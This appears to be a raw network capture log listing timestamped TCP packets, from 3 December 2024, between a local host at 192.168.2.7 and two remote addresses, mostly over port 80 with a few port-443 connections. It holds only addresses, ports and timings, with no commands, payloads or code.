Dec 3, 2024 17:41:36.693869114 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.695302010 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.695322990 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.695386887 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.696742058 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.696754932 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.696804047 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.698239088 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.698252916 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.698272943 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.698303938 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.699837923 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.699852943 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.699896097 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.701236963 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.701253891 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.701288939 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.702730894 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.702744961 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.702759981 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.702806950 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.702821970 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.812261105 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.812973022 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.813034058 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.813623905 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.813647985 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.813694000 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.814945936 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.815634966 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.815682888 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.816318035 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.816329956 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.816370964 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.817737103 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.819147110 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.819159985 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.819183111 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.819216013 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.819233894 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.820525885 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.820538998 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.820600986 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.825625896 CET	443	49768	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:36.825710058 CET	443	49768	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:36.825756073 CET	49768	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:36.825978994 CET	49768	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:36.825994968 CET	443	49768	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:36.826004982 CET	49768	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:36.826010942 CET	443	49768	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:36.829056978 CET	49773	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:36.829102039 CET	443	49773	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:36.829174042 CET	49773	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:36.829372883 CET	49773	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:36.829385042 CET	443	49773	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:36.840996981 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.841367960 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.841456890 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.841972113 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.842904091 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.842952013 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.843696117 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.843708038 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.843749046 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.844686031 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.845360994 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.845411062 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.846030951 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.846041918 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.846086025 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.847392082 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.847404957 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.847470999 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.848751068 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.848763943 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.848809958 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.850061893 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.850073099 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.850123882 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.851490974 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.851502895 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.851572990 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.852716923 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.852730989 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.852803946 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.854134083 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.854146004 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.854202032 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.855406046 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.855417013 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.855458021 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.856854916 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.857409000 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.857419968 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.857459068 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.858906031 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.858917952 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.858973980 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.860446930 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.860460997 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.860498905 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.862248898 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.862262011 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.862324953 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.863651991 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.863666058 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.863688946 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.863708019 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.863732100 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.865034103 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.865046024 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.865134954 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.866852045 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.866863966 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.866909027 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.867925882 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.867938042 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.867981911 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.869328976 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.869340897 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.869384050 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.870544910 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.870558023 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.870598078 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.872009039 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.872021914 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.872041941 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.872061014 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.873517990 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.873541117 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.873586893 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.874996901 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.875009060 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.875053883 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.876481056 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.876524925 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.876534939 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.877969980 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.877981901 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.878036022 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.879472017 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.879497051 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.879508018 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.879523039 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.879544973 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.880923033 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.880949974 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.880991936 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.882406950 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.882419109 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.882457972 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.883904934 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.883918047 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.883981943 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.885422945 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.885436058 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.885479927 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.886890888 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.886904001 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.886924028 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.886948109 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.888366938 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.888379097 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.888430119 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.889873028 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.889884949 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.889920950 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.891347885 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.891362906 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.891395092 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.892877102 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.892889977 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.892908096 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.892927885 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.892951012 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.894341946 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.894354105 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.894401073 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.895808935 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.895822048 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.895883083 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.897288084 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.897300005 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.897347927 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.898807049 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.898821115 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.898864985 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.900239944 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.900264025 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.900274038 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.900301933 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:36.901910067 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.901921988 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:36.901964903 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.014667034 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.014993906 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.015081882 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.015530109 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.016169071 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.016218901 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.016526937 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.017211914 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.017257929 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.017864943 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.017878056 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.017924070 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.019229889 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.019886017 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.019932032 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.020566940 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.020580053 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.020618916 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.021966934 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.021984100 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.022032022 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.042145967 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.042556047 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.042632103 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.043132067 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.043775082 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.043828011 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.044378996 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.044914007 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.044960976 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.045530081 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.045550108 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.045586109 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.046905994 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.047593117 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.047648907 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.048312902 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.048324108 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.048362970 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.049690962 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.049715042 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.049765110 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.050930977 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.050942898 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.050988913 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.052438021 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.052450895 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.052509069 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.053663015 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.053675890 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.053721905 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.054894924 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.054907084 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.054970026 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.056241989 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.056257010 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.056304932 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.057575941 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.057589054 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.057627916 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.059015989 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.059614897 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.059628010 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.059673071 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.061079979 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.061093092 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.061134100 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.062552929 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.062566996 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.062612057 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.064043999 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.064058065 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.064094067 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.065640926 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.065654039 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.065676928 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.065692902 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.065726042 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.067007065 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.067020893 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.067073107 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.068233967 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.068279982 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.068332911 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.069756031 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.069768906 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.069822073 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.071239948 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.071254969 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.071304083 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.072732925 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.072747946 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.072804928 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.074217081 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.074230909 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.074237108 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.074280977 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.075671911 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.075685024 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.075726986 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.077163935 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.077222109 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.077250004 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.078649044 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.078691959 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.078701019 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.080121994 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.080149889 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.080169916 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.081648111 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.081665039 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.081684113 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.081720114 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.081720114 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.083123922 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.083137035 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.083220959 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.084605932 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.084635019 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.084681988 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.086406946 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.086421013 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.086462021 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.087670088 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.087685108 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.087704897 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.087722063 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.089041948 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.089087009 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.089092970 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.090575933 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.090589046 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.090640068 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.092048883 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.092061996 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.092099905 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.093523026 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.093537092 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.093569994 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.094990015 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.095017910 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.095031977 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.095046043 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.095074892 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:37.096510887 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:37.096524000 CET	80	49764	185.215.113.16	192.168.2.7
